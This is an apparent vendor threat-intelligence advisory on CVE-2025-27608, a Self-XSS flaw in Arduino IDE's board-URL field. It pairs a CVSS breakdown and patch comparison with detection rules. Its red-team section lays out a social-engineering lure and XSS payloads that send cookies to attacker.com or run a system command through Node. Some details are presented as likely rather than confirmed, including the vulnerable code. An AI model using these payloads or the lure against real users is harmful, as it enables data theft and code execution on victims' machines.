CVE-2025-27608

Executive Summary

CVE-2025-27608 is a Self-Cross-Site Scripting (Self-XSS) vulnerability in the Arduino IDE versions prior to 2.3.5. The flaw resides in the "Additional Board Manager URLs" field within the Preferences -> Settings section. Due to a lack of proper output encoding, any malicious JavaScript payload entered into this field is executed within the context of the ElectronJS application when the user triggers a notification tooltip. While this is a Self-XSS vulnerability (requiring user interaction to inject the payload), it can be weaponized through social engineering to steal local credentials, exfiltrate project files, or perform actions on behalf of the victim within the IDE. The vulnerability is fixed in version 2.3.5.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but is inherent to the ElectronJS framework and the Arduino IDE's handling of user input. The IDE itself is built on Electron, which uses Chromium's rendering engine, making it susceptible to XSS if input sanitization is insufficient.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - The attacker must have local access to the system or trick the user into entering the payload.
• Attack Complexity (AC): Low (L) - The attack does not require special conditions.
• Privileges Required (PR): None (N) - No privileges are required to enter the payload.
• User Interaction (UI): Required (R) - The user must enter the malicious payload and trigger the tooltip.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Low to Medium. The Self-XSS nature limits the attack surface, but combined with social engineering, it can lead to credential theft or data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic case of Stored Self-XSS within an ElectronJS application. The Arduino IDE uses the Theia IDE framework, which is built on Electron. The "Additional Board Manager URLs" field is intended for users to add custom URLs for board definitions. When a user enters a URL and triggers a tooltip (e.g., by hovering over the field or clicking a help icon), the input is rendered directly into the DOM without proper sanitization or output encoding.

In ElectronJS, the webview or BrowserWindow can execute JavaScript in the context of the application. If the input is not encoded, a payload like <img src=x onerror=alert(1)> or <script>alert(document.cookie)</script> will be executed. Since this is a Self-XSS, the attacker cannot directly inject the payload; they must trick the user into pasting the malicious code into the field.

The impact is limited to the user's session and local data within the IDE, but it can be escalated to steal API tokens, local file access, or even execute system commands if the ElectronJS context allows Node.js integration (which is common in desktop applications).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.3.5): The vulnerable code likely uses a direct string interpolation or innerHTML assignment without encoding.

// Vulnerable: Directly sets the tooltip content without encoding
const userInput = document.getElementById('board-urls').value;
tooltip.innerHTML = userInput; // No encoding

Patched Code (2.3.5): The patched code uses proper output encoding, such as textContent or a sanitization library.

// Patched: Uses textContent to prevent XSS
const userInput = document.getElementById('board-urls').value;
tooltip.textContent = userInput; // Safe, no HTML execution

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Arduino IDE version < 2.3.5
• Victim must be tricked into pasting the payload into the "Additional Board Manager URLs" field and triggering the tooltip.

Exploit Payload:

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Steps:

1. Craft a social engineering email or message instructing the victim to add a "special board URL" to their Arduino IDE.
2. Provide the malicious payload as the URL.
3. Once the victim pastes it and triggers the tooltip (e.g., by clicking the help icon), the payload executes.
4. The payload exfiltrates cookies or other sensitive data to the attacker's server.

Advanced Payload (Node.js integration): If Node.js integration is enabled (common in Electron apps), the attacker can execute system commands:

<img src=x onerror="require('child_process').exec('calc.exe')">

Blue Team (Defensive)

Detection:

• Monitor for unusual network connections from the Arduino IDE process.
• Look for unexpected JavaScript execution in the IDE's context.
• Use endpoint detection and response (EDR) to detect child processes spawned by the IDE.

Prevention:

• Update to Arduino IDE version 2.3.5 or later.
• Disable Node.js integration in Electron if not required.
• Implement Content Security Policy (CSP) headers in the Electron app.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from the Arduino IDE process.
• Process: Spawning of unexpected child processes (e.g., cmd.exe, powershell.exe) from the IDE.
• File: Presence of malicious payloads in the Arduino IDE configuration files (e.g., preferences.txt).
• Registry (Windows): Unusual entries in HKEY_CURRENT_USER\Software\Arduino\ related to board URLs.

Detection Engineering

YARA Rule

rule CVE_2025_27608_Arduino_XSS {
    meta:
        description = "Detects malicious payloads in Arduino IDE preferences files"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-27608"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Arduino IDE Self-XSS Payload Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential XSS payloads in Arduino IDE preferences
author: Valters IT
date: 2025/03/20
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\arduino-ide.exe'
        CommandLine|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in board URLs (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27608 Arduino IDE XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?data="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Arduino IDE to version 2.3.5 or later.
2. If update is not possible, disable the "Additional Board Manager URLs" feature via group policy or registry.
3. Educate users about the risks of pasting unknown content into IDE fields.

Long-term Measures:

• Implement input validation and output encoding for all user-supplied data in the IDE.
• Use a Content Security Policy (CSP) to restrict script execution.
• Conduct regular security audits of ElectronJS applications.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.